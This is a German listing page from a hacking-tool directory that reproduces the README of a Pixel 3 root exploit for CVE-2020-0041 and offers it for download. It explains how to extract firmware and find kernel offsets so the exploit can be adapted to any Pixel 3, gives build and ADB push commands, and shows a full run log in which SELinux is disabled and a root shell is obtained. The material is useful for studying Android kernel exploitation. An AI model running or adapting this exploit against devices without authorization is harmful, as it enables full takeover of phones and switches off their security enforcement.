Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
root-exploit-pixel3 — Angepasster CVE-2020-0041 Root-Exploit für Pixel 3 | Kitploit
Tools/GitHubGitHub/jcalabres/root-exploit-pixel3
Android-SicherheitPrivilege EscalationSchwachstellenanalyseExploitationReverse EngineeringPenetrationstestsBinary-Exploitation
GitHubjcalabres/root-exploit-pixel3

root-exploit-pixel3

Angepasster CVE-2020-0041 Root-Exploit für Pixel 3

Repository anzeigen
135vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Root-Exploit für die Pixel-3-Familie

Dieser Ordner enthält einen lokalen Privilege-Escalation-Exploit, eine Modifikation des bluefrostsecurity PoC für CVE-2020-0041. Der Exploit deaktiviert SELinux und startet dann eine Root-Shell.

  • Der Exploit wurde mit fest codierten Offsets für ein Pixel-3-Gerät mit der Februar-2020-Firmware (QQ1A.200205.002) bereitgestellt. Der Exploit kann für jedes Pixel-3-Gerät angepasst werden, indem man einfach die folgenden Schritte befolgt.

  • Es wurden einige Änderungen vorgenommen, um Einschränkungen des Root-Benutzers zu vermeiden (der ursprüngliche Exploit ist nicht nutzbar).

Anpassen des Exploits

  1. Um den Exploit an jedes Pixel-3-Gerät anzupassen, muss die spezifische anfällige Firmware (QQ1A.200205.002) von der offiziellen Website developer android images heruntergeladen werden.

  2. Konvertieren Sie anschließend die boot.img in ein zImage. Verwenden Sie dazu das abootimg.

root@kitploit:~
./abootimg -x [path_to_boot_img]
  1. Um ein unkomprimiertes Image des Kernels zu erhalten, das korrekte Symbole und Offsets enthält, verwenden Sie das Werkzeug vmlinux-to-elf.
root@kitploit:~
vmlinux-to-elf [path_to_zImage] [kernel.elf] 
  1. Verwenden Sie einen Disassembler Ihrer Wahl, um die Labels zu finden, die mit den im exploit.c gefundenen Exploit-Offsets zusammenhängen:
root@kitploit:~
SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
  1. Passen Sie exploit.c mit den korrekten Offsets an.

  2. Profit :)

Testen des Exploits

Der Exploit kann einfach durch Ausführen von "make" mit dem Android NDK im Pfad erstellt werden (Sie können auch die poc-Binärdatei aus dem Pfad libs/arm64-v8a verwenden). Sie kann auch mittels "make all push" auf ein per ADB verbundenes Telefon geschoben werden (Warnungen wurden der Kürze halber entfernt):

root@kitploit:~
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

Führen Sie nun einfach /data/local/tmp/poc von einer ADB-Shell aus, um den laufenden Exploit zu sehen:

root@kitploit:~
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ # 
Tool herunterladen